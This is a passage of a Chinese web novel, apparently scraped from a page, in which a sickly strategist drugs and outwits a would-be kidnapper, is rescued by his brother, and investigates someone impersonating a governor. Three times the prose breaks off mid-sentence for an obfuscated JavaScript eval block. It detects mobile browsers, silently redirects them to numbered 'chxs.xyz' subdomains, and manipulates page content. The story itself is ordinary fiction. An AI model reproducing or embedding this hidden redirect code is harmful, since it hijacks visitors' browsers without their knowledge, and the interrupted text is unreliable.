余下的七八个人顿觉不妙撒腿就跑,也顾不得外头还是风雨大作。 他们刚刚跨出庙门,一支羽箭便从风雨尽头杀来,稳准狠地穿透了跑在最前头那名土匪的胸膛。 被血浸透的箭矢扎入石柱,柱身随之爆出数道裂痕。 “……不好!”其余人即刻抱头鼠窜面如菜色,“官兵、官兵来了!” 云昼和乔沐苏面面相觑:“正规军?哪来的?” 他们没有通知附近州郡县城,太守也没来得及下令,是谁这么快就找到了他们的所在? 疑云密布之时,方才窝在角落里的男人顾不上病体未愈,急匆匆地就要趁机从后门溜走。 “放下武器,速速投降!” 人声如雷作响,顷刻间将破庙团团包围,那群土匪哪里还敢反抗,瞬间蹲下身来一动不动。 “……故卿!” “先生——” 身侧人惊慌失措的呼唤被晕眩感拉得太远,根本听不真切。 眼见危机解除,源尚安也好似瞬息被人抽空了所有力气,脚下踉跄几步再也不能支撑病体,彻底倒了下去。 4. 陇西行(三) 这副身体对于源尚安而言,的确是最大的拖累。 他自幼就不算身体强健,再加上又生活在漠北草原一带,风寒和高烧就免不了时常光临。 自他能记事起,药就是拌着饭吃的。更不要说后来又去了地牢里滚过一遭,如今能维持着剩下的半条命已算是上天开恩。 他不愿认这个体弱多病的命,更不希望在旁人的同情怜悯里度过一生。故而自少时起源尚安便和源司繁修习武艺,在学业上也是精益求精。 然而凡人之躯终有极限,勉强支撑的结果就是因为高烧不退而彻底倒下昏迷不醒。 …… 源尚安只觉得浑身上下似有一团火在烧,他昏昏沉沉地想,这莫不是一种报应…… 南北两朝皆是佛教盛行,从上到下几乎都对此趋之若鹜:掌权者希冀得道成仙,受苦者从中汲取安慰。源尚安虽然不信鬼神之说,但有关魂灵轮回、生死因果的话却也不免听到一些。 所以这算什么,对他从前所作所为的报应? 往昔的记忆在脑海中一闪而过,仇敌临死前的种种情态、咒骂与愤恨选择在他最虚弱的时候卷土重来,随之而来的还有地牢里挥之不去的腥气。 梦里万千鬼魂鸣冤叫屈、纠缠不休,他似已被逼到了绝境。 沾有冷水的手巾猛然贴近滚烫的额头,受此一惊源尚安立时睁开了眼睛。 手巾的主人俯视着他的眉目:“你终于醒了。” 源尚安认出来这位正是方才被自己喂了药的男人,他环顾四周,发觉自己不知何时竟被这胡人秘密带进了丛林。 如今天色灰暗,附近又杂草丛生,将视线层层遮蔽,想被外人发现可谓是难上加难。 高烧耗尽了源尚安最后一点力气,他现下只得裹着不知哪来的衣袍,无力地倚靠在树干上。 他怎么会在这儿? “庙里一片混乱,那帮人来路不明,”这人道,“你那两个护卫替你断后,我便顺势把你带了出去。” 什么来路不明……源尚安脑中空白,一时半会儿整不出来思绪。 方才赶到破庙外的那帮人马不是官兵吗? 源尚安展眼望去,只见丛林之中一片静谧,除了他们二人四目相对之外再无旁人打扰。 附近草丛凌乱,两人衣袖上也有枝叶留下的划痕,显然是急于逃命时留下来的证据。 男人略微蹲下了身子,伸手似是想探探源尚安的脉搏。不料源尚安却是侧脸避开了那只手掌,略带厌恶道:“少来诓我。” 悬在半空的手掌霎时一顿。 源尚安神色转冷,眉宇间覆上了霜雪之意:“你根本不是带我逃命,而是想挟持我作为人质。” 男人眼睫微颤,其间隐约有寒意翻腾,却装出来了一副笑颜:“你误会了。” “没有误会。” “若真是事态紧急不得不逃命,你不应该带我来这种地方,而该是朝人多的去处求援,”源尚安道,“再者我的护卫也绝不会叫两个病患跑路,必定会有一人跟随以防万一。依我看,你这叫趁乱挟持才对。” 笑意陡然消逝,男人自高而下地望着他,神色阴鸷,右手摩挲着从土匪手里抢来的砍刀。 他没有给予肯定,源尚安也不需要他承认一切,干净利落道:“你现在把我送回去,或许还能保住一条命。” “如果我不愿呢?” “你没有选择。” 男人即刻俯下/身来,源尚安猜的不错,他的确身负胡人血统,不仅眉宇如刀目若朗星,个头也高出源尚安许多。 即便负伤在身又大病初愈,也依然不能减弱那只左手掌落下来的力道。男人刹那扼住了源尚安的咽喉抵在树干上:“没有选择的那个人是你。” 可这样的威胁不能激起他丝毫恐惧,源尚安回以凝视,轻蔑道:“是么?” 手上力道顿时重了一分,窒息感随之而来,源尚安本能地阖上眼眸,仿若一只被握住颈部、奄奄一息的囚鹤。 他低声道:“孤身一人又没有同伴,还被一伙人尾随追杀,我看你身上要么是背负着滔天血债,要么是知晓了某种秘密。” “你血统存疑,牵扯到的计划或秘密只会大不会小,”源尚安又道,“可你现在伤势未愈,必定需要照料和草药。大魏律明文规定,医馆药店不得身份存疑之人提供救助,附近的村落又早被土匪洗劫一空,你已经是无处可去。” “要么暴露身份被杀,要么不治身亡,你若甘愿如此,那么尽管动手。” 男人不由得眉宇一跳,虽然并未放下警惕,可手上的力道却已经逐渐松开。 那只手停在了源尚安心口前,他亦随之睁开眼睛,换了种轻松揶揄的口气道:“看来哪条路好走,你心里还是清楚的。” 男人警惕未消,仍旧盯着源尚安的一举一动:“我凭什么信你?” “你当然可以不信我,”源尚安道,“等着被官兵斩于马下就是了。” 空气中一瞬沉寂,男人有些接不上话。 “你腿脚再快也快不过战马,等他们清点现场完毕,必定会赶来搜寻,”源尚安靠在树干上望着他,“到时候你可以赌一把,看看是你挟持我的动作快,还是他的箭法更快。” “……” 这人生了双瑞凤眼,眼尾优雅地微微上翘,无论以何种角度望人都容易让对方以为它的主人怀着些许说不清道不明的笑意。 可他霎时不知为何,忽地联想到了猎杀时追逐过的狐狸。 狐狸狡黠多变,惯会玩弄人心,谁能信一只狐狸的谎话? “……不对、不对,”男人似乎在极力否认抵抗什么,“你没有理由救我帮我。” “也没必要小看自己,”源尚安伸手抚过他脑后散乱的发丝,借此发力迫使人仰头看着自己,“你对我来说的确有些价值。” “你……” 源尚安略微坐直了身子,自然而然地换成了俯瞰的角度望着人:“那伙响马为什么想要杀我,你知道么?” 男人脑中嗡地一震,已然开始发懵,哪里还听得清楚源尚安问了什么话。 他喃喃道:“你到底是什么人……” “不重要,”源尚安近距离地打量着他的瞳孔,“现在应该坦诚相待的人是你,不是我。” 他一切动作语调都极尽温柔,从喂药到现在按着对方的头都没有一刻真正下过重手,可却让人莫名开始神智恍惚,想要听从他一切号令。 男人还想负隅顽抗:“不、不可能,你一定是在骗我,我不会放过你,我……” 源尚安轻轻哈了一声,语气平和得仿若在替他抚慰伤痛:“现在可不是犯傻的时候,你我有共同的敌人,完全可以合作。你告诉我他们的情报,我暂时为你打掩护。” 他伸手从怀中掏出药瓶,又道:“你看,我这里还有你需要的药。” 脑中时刻紧绷的弦被他随手撩断,源尚安转过他的脸对视:“听话,告诉我你的名字。” 男人不受控制地呢喃起来,自己也分不清楚到底说了些什么。唯一能感觉到的只有鼻尖缭绕不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872816|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去的香风。 ……这是什么味道?是这家伙身上的么……好像是梅花? 见他眼神不似方才清明,源尚安知道香囊里的东西起了作用,于是不动声色地收起,又道:“项连,带我回去,好吗?” 说罢拍了拍他的脸。 项连整个人懵懵懂懂,哪里还有方才杀气腾腾的影子:“你、你怎么知道我叫……” 源尚安略过了这个问题,扶着树桩摇摇晃晃地站了起来,伸手摸了下他的发顶,把瓶子的药丸递到了他嘴边,关切道:“吃些药吧,不要乱跑。” 项连恍惚间唯有照做一个选择:“为什么……” “以防你……”源尚安端详着他,见他把药丸吞了下去才又道,“不听话。” “我、我……” 项连讲不出话,源尚安知道迷药药效有限,因此又催了催道:“外头冷,带我回去。” “……是。” 项连蹲了下来背着人,凭借记忆搜寻着来路。 尽管高烧叫人头昏脑胀,源尚安却分毫不敢放松警惕,一直盯着项连的状态:他平素喜欢调香焚香,自然也做了点迷香以备不时之需。只不过这东西他做出来还没几天,不能保证药效一定持续很久…… 这小子也是走了鸿运,有幸充当第一个试药者。 不过他姓项?源尚安明明记得匈奴和鲜卑都没有这个姓氏,那他到底是哪一族…… 头疼的感觉再度袭来,源尚安差点跟着坠下去,再抬眸时乍见眼前亮起一片火光。 举着火把的汉子高声道:“尽快带人出来,不要负隅顽抗!否则格杀勿论!” 脚步声匆匆袭来,源尚安顷刻回神,判断出至少有七八十人都朝着林间涌来,听声音还都是全副武装的。 项连想出声辩解,可刚一开口便暴露了方位。只见一支羽箭嗖嗖破风,眼见就要击穿他的要害。 他猛地跃起避开寒风,箭矢旋即钉入树干,几近将这株百年古木穿透,若是方才击中项连他怕是已然当场毙命! 生死关头惊出来了项连一身冷汗,方才的混沌烟消云散,项连即刻转身喝道:“你敢耍我?!” 源尚安立时从背上跃下,正想故技重施却被项连抬手打掉香囊:“你找死!” “对不起。”源尚安连连侧身避开项连砍来的刀锋,后者顿了顿似是还愿意听他解释。 趁这空隙源尚安飞速道:“下次一定记得给你加量。” “……你!” 项连气得要破口大骂,此时此刻也管不上什么复仇又什么挟持,刀刀直照着源尚安要害挥去。 源尚安心里警钟大作,他眼下没有任何武器傍身,此地又杂草丛生,官兵由远及近还需要一点时间。 咔哒一声巨响,项连斩断了源尚安头顶的树枝,跟着飘落的还有几缕碎发。 眼见躲闪不能,源尚安开口打算继续诈他一诈:“你疯了,我也是鲜卑之后,没准和你有血缘之亲,我——” 可他忘了自己已然到了极限,源尚安一个不稳,踩中滑腻的青苔摔了下去。 这下他彻底站不起来,源尚安心里连道糟了,可刀锋并未如他所想直直劈下。 源尚安顿了顿向后看去,项连不知何时已经跑得没影了。 他正疑惑琢磨,一双漆黑棉质的战靴却已然映入眼帘。 斗笠下的黑衣人并不嫌弃他满身泥泞,伸出手来将他扶起。 不过随之而来的声音沉稳却又隐含责怪:“多大了,还不知道好好照顾自己。” 5. 陇西行(四) 源尚安愣了愣想说些什么,身体却已经因为重力而落入了那人怀里:“你……” 怎么找到这里来了? 箬笠下的人面如冠玉,浓眉压眼睫毛狭长,五官棱角分明,无论谁来评价都会说是万里挑一、难逢敌手的俊美。不过琥珀色的瞳孔外加略微扬起的下巴,让这英武俊逸中又多了一重威慑力,令生人不敢随意靠近亵渎。 可这攻伐四方的征服者此刻向下垂着头,堪称小心翼翼地凑近源尚安与之对视:“怎么又给自己弄发烧了?” 源尚安不大适应他这幅模样,记忆里这人分明该是语带调笑神采飞扬的。 他顿了下才道:“兄长怎么找到这儿来了。” “我在汾州追击匪徒,他们一路西逃,我便率军尾随,”源素臣道,“没想到他们的老巢也在夏州。” “况且……”源素臣松开了手,神情划过片晌犹疑,“这也是我一直想来的地方。” “……什么?” 源尚安甚少听他谈及往昔,一瞬有些不明就里。唯见他琥珀色的眼眸中倒映着阴沉天幕,其间似有流云翻滚酝酿骤雨。他的过往似也蒙上烟雨,扑朔迷离不得其解。 可源素臣没给他考量的机会,他边说边取下头顶完好无损的斗笠扣在了源尚安头上,又给他披上了蓑衣。 源素臣抬手给源尚安系好了蓑衣的带子,斟酌了片刻才又道:“这两日外头都会下雨。” 源尚安怔愣了下,不知他为何突然提起天气,可须臾后却忽地理解了他不忍明言的暗示: 这两日都留在我这里吧。 “好。” 见他似有心事万千,源尚安便动了揶揄打趣的心思:“怎么见我还要愁眉苦脸的,莫非是为刚才的事生气?别担心,我不要紧的,后头这几日我都赔给你,如何?” 源素臣望了他一眼,隐约含着责怪的意思。片晌后道:“那家伙是谁呀,干嘛和他跑到深山老林来?” “他么,我看可能是个逃犯,挟持我想和你们对峙罢了,”源尚安忍不住唇角上扬,“我原本给他指了条明路——” 源素臣不解:“他不是丢下你跑了?” 源尚安双唇一阵抽动,似乎忍得极为辛苦,少刻后终于放弃抵抗彻底破功大笑起来:“那他完蛋了,哈哈哈哈哈哈哈……” 源素臣:“……” 这家伙果然是只不怀好心的狐狸。 年少时源素臣便一眼看透了这只狐狸的本质:披了张乖巧懂事、勤恳好学的皮,以此博得长辈欢心,实则等人一走就暴露了狡黠顽皮的本性。 而不熟悉源尚安的人都很容易被他沉着机敏的外表蒙骗,以为这是个运筹帷幄又沉稳干练的领袖人物。 其实许多时候他只不过是在享受戏弄人心的乐趣。 譬如此刻,源素臣瞥了眼身侧连声大笑又藏不住狐狸尾巴的某人,好意提醒道:“当心玩火自焚。” 毕竟他看出来项连那家伙也是自幼习武的人,要是因为此事而记恨上了源尚安并暗中计划报复,多少也是个令人头疼的麻烦。 源尚安咳了两声收住了笑:“那是他自找的,怎么能怪到我头上。” 他可是好心好意给人指了条出路,诚心希望和项连达成合作的。谁叫他中途犯了疑心病,放着大好的机会不要又溜走了。 源素臣瞄了他一眼,觉得实在太像是一只狐狸在冲他好整以暇地甩尾巴。 那条毛茸茸的大尾巴都快甩到他脸上来了。 源素臣问:“你既说他计划挟持,怎么半路又跑了?” 源尚安笑得太狠,不得不缓了一阵才从怀里掏出那个小药瓶,故作神秘道:“因为这个。” 源素臣接过闻了一下,立时蹙眉:“这是……” 源尚安知道他明白了,又把瓶子抽了回去,轻叹道:“留了一手就是为了以防万一,他若是答应合作老老实实,我自然会把解药及时给他。眼下他不答应,那就只能自讨苦吃。” 他微微摊开了手,一副无辜模样,遗憾道:“这就怪不得我了。” “你真是……” 源素臣卡了许久也没能找到恰当的词形容,最后只道:“多大人了,还和小孩子一样。” 这话源尚安听了不乐意:“虚岁二十四了,什么小孩子。” 源素臣哈了声:“你就是九十四了我也比你多活了三四年呢。” 源尚安心有不服想争辩,却见前头火光霎时亮如白昼,为首的汉子一身铁甲高大健壮,只是左眼处戴了片黑色眼罩遮掩刀疤——他并非眼球或是视力有损,而是担心那道狰狞伤口露出来骇人。 这武官见源素臣后先欠身抱拳:“少主,庙中流民一共三十八人,我等核查无误后已将他们暂时接至营地。” 源素臣点头以示认可,又吩咐道:“戚玹,你带人把那逃走的青年抓回来。” 戚玹顿了顿,神色有些难堪:“少主,那个……” 源素臣眉头微蹙:“怎么,又叫人逃了?不是说叫你带人把这树林堵死么。” 戚玹停了少顷才讲了实情。 原来源尚安给人的药丸里早就提前做了手脚,是以项连跑到半路便感觉下腹传来一阵鸣叫。可此刻逃命要紧,他只得强忍着肚中不适加快脚步。 “站住!”戚玹带人即刻赶来,将树林围得水泄不通,“别叫他跑了!” 见状项连拔刀相向,戚玹也立时姿态戒备,可下一刻身后噗的几声响动传来,项连脸色骤变,也顾不上许多忙解开衣带钻入草丛。 难以言喻的动静气味袭来,戚玹愣了片刻,旋即捏着鼻子命令人等会儿拿来绳子把人捆上。 他说着有些尴尬,却不想源尚安闻言心知整蛊得逞止不住想笑。源素臣分别扫了一眼二人:“既然捉到了那就尽快回去,别耽搁了。” 源尚安转头问:“你当真抓到人了?” “是。” 源尚安揉了揉太阳穴,又道:“你把他单独关押起来,暂不要提供食物,保证不死就成,我要问话。” 他还想吩咐一些什么,可眼前莫名其妙开始摇晃起来,源尚安只觉两脚踩上了棉花,这一下栽倒是再也起不来了。 —————— 再睁眼时源尚安业已躺在了军帐的床上,他望着乳白的帐顶迟疑了片刻,想说些什么一时却开不了口。 倒是守在一侧的乔沐苏先道:“醒了?醒了就好。” 他伸手摸了下源尚安的额头,复又道:“已经退烧了,不过还需在静养几日才能痊愈。” 源尚安觉察到他言语时有些愧疚之意,于是便道:“此次虽有差错,但我并无大碍,不必太过放在心上。只是下回务必牢记在心,切不可再犯。” 乔沐苏轻嗯了声,源尚安又道:“你把方才庙里的情况一五一十地说给我听,我要知道他怎么制造的混乱带我离开的。” 乔沐苏道:“他先是说官兵来了得有一个人通知方才撤离的百姓折返,我便要云昼看着你,自己先去庙外喊人回来。但是当我再回来的时候,你就已经……” 他话未说完,帐外忽而传来云昼哭求谢罪的声音:“……先生,是我对不住先生,我……” 乔沐苏拉开营帐一看,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872817|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟是将自己五花大绑,跪在帐外等候发落。 源尚安道:“你确实犯了大错。” 云昼头更低了,源尚安略微坐起靠在床头道:“太守乃是正三品封疆大吏,如果死在赴任路上朝廷一定不会轻易放过,到时候今时今日你遇到的所有人都要被从重惩处,无一幸免,绝不是你一个人以死谢罪就可以混过去的事。” “先生,我……” 源尚安合上了眼眸,语气肃然:“我平日里提醒你要你注意的那些事,你嘴上答应得倒是快,可要落到实处就大打折扣。” 乔沐苏怔了下,这番不容辩驳质疑的口气与他平日里的温柔大相径庭。 “你今日虽已认错,但不能抵消此过,”源尚安道,“为了让你记住教训,我今日必须罚你。从今往后你需记住我的话,任何时候都不得掉以轻心被人蛊惑,刀法剑法还需加倍磨练。” 乔沐苏心跟着一提,源尚安却已宣布了裁决:“二十鞭,自己去找戚将军领。他若问你原因,你就把我的话告诉他。” “故卿啊,这是否……” 他话未说完,外头的云昼却已心服口服地一拜到底:“云昼认罚认错,先生好生将养。” 源尚安没有睁眼,只是点了点头:“去吧。” 云昼最后道了一声“先生保重”,旋即不带犹豫留恋地转身而去。 乔沐苏有些为难,他知道源素臣军中纪律一向严格,杖责鞭刑从不会放水:“故卿……” 源尚安已然猜到了他要说什么:“我对他寄予厚望,他却还是疏忽大意,不给他一次教训,他永远不能长记性。” 乔沐苏低头默然。 源尚安从衣兜里找出来药膏递给了乔沐苏:“这个抹了之后不会留疤痕,你等他回来把这药给他。” 乔沐苏瞬间明白,顿了后道:“你呀。” 源尚安道:“帮我拿身干净衣裳,我稍微洗一下。” 他一向爱干净,不能容忍身上脏乱。少顷后源尚安收拾了一番出了营帐,正听到远处传来荆条抽打声。 随之而来的还有一旁小兵不忍的声音:“公子,你这……要不算了,反正他也不看着。” 云昼光裸着的脊背上已然出了数道红痕,汗水沿着腰腹如雨滚落,最后被衣服吸吮干净。 云昼依旧咬紧牙关强撑并不喊疼:“还没到数,继续。” 鞭子挥落的同时声音传来:“十四、十五……十、十六……” 源尚安站在原地默然不语地听到了最后:“十、十九,二十……” 小兵抹了把额头,忙给云昼擦掉背上血汗:“结束了,你回去吧。” 云昼闭着眼忍痛,任由汗珠自额头淌过眉宇脸颊:“先生……” 源尚安也转身离去,刚走几步便被戚玹叫住:“府君呐。” “何事?” 戚玹道:“永丰县尉赵兴带人到了,说按例这些村民归他们管辖,要接人走,您看——” “早不来晚不来,现在倒想起来了?” 话音刚落,赵兴便带着人笑嘻嘻地拱手:“戚将军,我们也是奉了钦差大人的命来,改日我请您吃酒作补,绝不让您和小源将军白忙一趟。” 他满面堆笑,源尚安反而觉得不对:“什么钦差,烦请把话说明白。” “自然是太守所派钦差,”赵兴眼珠骨碌一转,他不认得源尚安,只能猜测他是军中某位武官,因此也格外客气,“昨日太守大人抵达统万城之后便下令——” 源尚安打断了他:“你刚才说谁下的命令?” 赵兴拱手作揖:“太守。” 6. 他乡客(一) 闻言戚玹立刻看向源尚安,眼含讶异。 他才刚到夏州没几日,怎么可能冲人下达命令? 是什么人这么大胆,竟敢冒充朝廷命官? 戚玹摩挲着佩刀,就要出鞘拿下赵兴,源尚安却抬手示意他收起戒备,语气从容道:“不知这位大人如何称呼?” “小人永丰县县尉赵兴。” 源尚安点点头:“在下——” 他眼珠略微一转,换上了一副无可挑剔的笑颜:“在下主簿顾青,这位是戚玹戚将军。” 赵兴立时向两人作揖,源尚安又道:“既是公务,我等也没有阻拦的道理。不过如今天色已晚,庙中村民也有不少负伤之人需要治疗。若是赵大人不着急的话,不妨在此暂歇一晚,明日启程如何?” 赵兴略微琢磨了下:“也可。” 源尚安道:“诸位一路辛苦,我等略备薄酒,为诸位接风洗尘。请。” 旋即抛给戚玹一个眼神,后者也即刻会意:“请各位随我来。” 等人走远了之后源尚安才冲身侧小兵道:“带我去见你们少主。” 军帐里灯火通明,源素臣不厌其烦地钻研着兵书,时不时还以笔蘸墨记录着什么。 传信兵道:“少主,寻将军到了。” 源素臣没有停笔:“进来。” 寻微不仅自个儿来了,还拽来了个被五花大绑的土匪。源素臣只看了一眼便又伸手翻页:“肯开口了?” 寻微笑得豪气又不失轻蔑:“饿了他两顿,一夜没让睡觉,现在老实了。” 源素臣没抬头,桌上堆叠的文书和古籍遮盖住了他大半身形:“眼角怎么又青了一块。” 寻微拍了下那土匪的脸,后者没骨气地一哆嗦:“想跑被我逮着了,就挨了两拳。” 那土匪心虚得很:“大大大大人我、我才加入没几个月,没杀过人……” “做没做过恶你说了不算,”源素臣合上了兵书,复又翻开今日奏报,迅速扫完之后以朱笔留了批示,“得那些村民说了才算。” 帐中一阵沉默。 源素臣又道:“老巢在什么地方?” “……我、我不清楚……哎呦!” 话未说完寻微啪地就是一掌。 源素臣毫无同情:“她今天心情不好,你可不要惹她。” 土匪两颊通红眼泪汪汪:“我、我说的是实话……” 寻微松开了手,叹气道:“看来记性确实不太好,要不还是杀了吧四哥。” 源素臣嗯了声,朱笔落下时仿若晕开血渍:“五马分尸吧。” “……别别别大哥大姐你们行行好我错了我错了……” 恰在这时,帐外又传来一声通报:“少主,府君到了。” 寻微立时把那鼻青脸肿的土匪拖了出去,正巧和帐外的源尚安擦肩而过,而他瞄了眼便也猜出来了是怎么一回事。 源尚安问:“老实招供了么?” 源素臣一哂:“哪那么容易。” 他把手头最后一封奏报放回原处,又瞧着源尚安道:“病了就好好休息,怎么又跑出来了。” 源尚安坐到了他身侧:“有人假冒太守,我若再不行动,岂不是坐以待毙。” 源素臣想起赵兴便是一片冷肃:“他既然敢假传政令,那就趁着今晚的机会一举拿下。” 源尚安道:“不可。” “为何?” “眼下证据不足以证明他一定是同伙,也有可能并不知情,再者你我也不该打草惊蛇,”源尚安道,“派人路上刺杀又假冒我的身份,依我看这伙人不会是临时起意,一定是蓄谋已久。” “既然蓄谋已久,那就更不能任由他们发展下去,否则局面更无法控制,”源素臣道,“窃取夏州军政大权还能是为什么,不就是筹谋造反么。这要是放任下去那还了得。” 源尚安直视着源素臣的双眸摇了摇头:“非也。” 他问:“一州会配备多少军队?” “基础是一到两万之间,若是辖区较大三四万也是有的。怎么——” 源素臣话未说完,却瞬息之间明白了源尚安的隐忧。 夏州有正规军五万,而他们此刻只有六百左右的人马,还带着一群伤员需要照料。若是此刻急于亮明身份或是拿下赵兴,引得统万城那边警觉;那帮幕后主使极有可能铤而走险发兵围剿,到时候再反咬一口,声称假冒身份窃取官位是他们,一切可就难办了。 源素臣垂下眼帘:“我知道了,敌强我弱,不宜妄动。” 他正琢磨对策,冷不防发觉源尚安的手已然搭在了自己腕处:“做什——” 源尚安压低声音道:“有件事还需要你帮我。此事结束之前,暂时不要透露我的真实身份。” “他们既然想瞒天过海,那我们就反其道而行之,”源尚安说及此处不免一笑,“此刻我在他们眼里,该是个已死之人。” 源素臣道:“你放心,我会叫他们守口如瓶。” 可源尚安那只手并未松开,源素臣顿了顿道:“病没好就先回去休息,这是做什么。” 源尚安冲他眨了眨眼:“我总觉得你见我时的态度有些……冷淡?” “……” “生气了?” 源素臣无奈道:“你若是个大夫,见病患一直跑来跑去也会觉得头疼。” “我找你是因为有两件要事要谈,”源尚安凑近些许,闪烁的眉眼还真有几分狐狸的神韵,“如今公事谈完了,该说说私事了。” 这人天生一颗七窍玲珑心,是以源素臣任何心绪变化都不可能瞒过他。 “你好像有些不大愿意和我亲近,为什么?” 源素臣别开脸,低声絮语道:“额头还热着呢,吃点药再去歇一会。” 他不肯主动交代,那源尚安就要更进一步,两人鼻息相触,几乎要贴着彼此脸颊了:“你想让我歇在什么地方?” 源素臣被他弄得脸上发痒,可如今的姿势和状态又不允许他伸手,可谓是很不自在:“……这里是军营,夜夜有人巡逻,你想干什么。” 源尚安唇角动了动似是想笑:“我可没说这方面的事,你以为我要做什么?” 空气一瞬凝滞。 源素臣简直是被困在了座椅上进退不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872818|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他分明没有那些乱七八糟的念头,只想叫源尚安好好把病养好罢了。可如今却被他弄得怎么也解释不清了。 源尚安云淡风轻地吹了下源素臣肩头沾染的浮灰,又抬眸道:“今晚需要我留在你的账中吗?” 他没有任何勾引诱惑的意思,所有的语句只不过是诚挚地发问,想探听被隐埋在源素臣心底的秘密。 可不知为何源素臣却觉得脸上也隐隐有了升温的兆头,好似今日受寒起烧的人是自己一样。 源素臣被他蹭得不舒服:“……别闹了。” 源尚安甚少看见他不知所措的模样,因此难免忍俊不禁,半开玩笑道:“不会是在外面另有新欢了吧?” 源素臣堪称幽怨地看了他一眼。 “……我看你那身子是真不想要了。”源素臣这下真要跟他生气了,哗啦一下站起身来和源尚安拉开了距离,开口就要叫人:“戚玹——” 源尚安忍无可忍,终于哈哈笑起来:“戚将军正和人把酒言欢呢,你上哪儿叫人来。” 他给自己倒了杯热茶,吹了气又随口揶揄道:“你这么急切,倒像我上赶着想污你清白。” 源素臣咬了咬牙,停了须臾才叹气道:“你当我是什么禽兽吗?” “自然不是,”源尚安喝完茶后立时起身,“你是正人君子清心寡欲,我不该以小人之心度君子之腹。你我——” 他抬手抱拳,一副敬重姿态,可神色分明还带着玩味的笑:“你我泾渭分明,我自应井水不犯河水,告辞。” —————— 戚玹再从营帐里走出来时已然沾了一身酒臭汗味,他本能地想避开源尚安,人却已经走上前来询问情况了:“如何?” 戚玹低着头,似是怕酒气熏得他厌烦:“末将核查了腰牌也问了村民,他确实是永丰县尉没错。” “人呢?” “都喝醉了,已经歇下了。” “你派人盯住,不要放跑他们,”源尚安吩咐道,“还有一件事,我需要你帮我办妥。” “府君请说。” 源尚安神色沉着,与方才打趣时判若两人:“你带人细细询问村民,洗劫时大约有多少人、一般从什么方向来、有什么容貌特征等等,越详细越好。” “是。” 源尚安发觉他看人时总是低垂着头,似是不希望对方注意到伤疤,于是又叫住了人:“等等。” “我这里有祛除疤痕的东西,”源尚安低声道,“戚将军要么?” 戚玹愣了愣:“末将……” 他本能地伸手摸了下伤痕,略有遗憾道:“这伤……不是药能抹平的。多谢府君好意。” 见如此源尚安暂且放下,又道:“那劳烦带我去见一个人。” 帐篷里的人双手被牢牢绑在身后,他原本就是大病初愈未曾进食,又因为被源尚安捉弄了一遭,此刻浑身上下力气全无,只得蜷在角落嘶嘶喘气。 光亮从缝隙里漏出,项连看清来人即刻咬牙切齿,恨不得冲上去将人大卸八块。 源尚安搬了个板凳坐在他身前,微带戏谑地瞧着他:“项公子,你我又见面了。” 7. 他乡客(二) 烛火映着项连冷漠含怒的眉眼,被困在身后的双手想要挣脱束缚冲上前去,可却被帐外巡逻兵的脚步声打断。 源尚安笑道:“你以为我会空着手前来?” 项连冷哼了一声,不想看人。 源尚安也回以轻声一笑,而后倾身于项连耳畔道:“不知项公子有没有给我准备点见面礼呢?” 说罢他不给人反应的机会,伸手迅速探入项连的衣襟,沿着他虬结健硕的肌肉一路摸索。 项连眼神惊惧,不明白他要做什么,身体也本能地想要抗拒这般触碰。 源尚安分毫不在乎他的神色变化,于贴近下腹的地方拽出来了一片寒光熠熠的薄刃。 他两指夹着刀片眼含嘲弄,讥诮道:“果真备了个后手等着我呢。” 与他的胸有成竹从容不迫不同,项连却是又羞又恼,一副被人玷污了清白的模样,咬牙道:“你……” 源尚安没读懂他为什么而恼羞成怒,因此有些困惑,停了须臾才道:“你真以为凭着这点小聪明就能逃出去吗?” “可笑。” 项连:“……” “依我看你目前有三条路可走,”源尚安端详着他,“其一呢,我把你移交给官府处置,正巧永丰县的人也来了,等到了衙门之后我就彻底管不了你。到时候你是被折磨至死还是被当众处刑,就看他们心情了。” “这其二嘛,就是找机会逃脱,”源尚安收起来了刀片,“不过我估计你大概率跑不出这里,半路上就会被人就地正法。” 项连的眉宇不自觉地挑了挑,但神色依旧一派轻蔑。源尚安知道他的意思,他自认是刀光剑影里熬出来的人,对这些自然不屑一顾。 源尚安赞了声:“有骨气。” “不过你以为那些酷刑都只是开玩笑吗?”他说及此处,神情骤而冷却,“我告诉你,他们有的是办法让你求生不得求死不能。这世上最不缺的,就是折磨凌/辱弱者的手段。” 项连唇角微动,源尚安抓住这个机会又道:“你是胡人之后,未必听过中原的故事。若你好奇,我倒是不介意和你讲讲人彘和炮烙的传说。” “……” 源尚安对他心绪的点滴变化了如指掌:“看来你也没有你想的那样意志坚定。” 项连道:“我不怕死。” 源尚安道:“你死与不死我也无所谓。” 这话一出项连即刻抬眸,显然又被他激怒了:“你……” 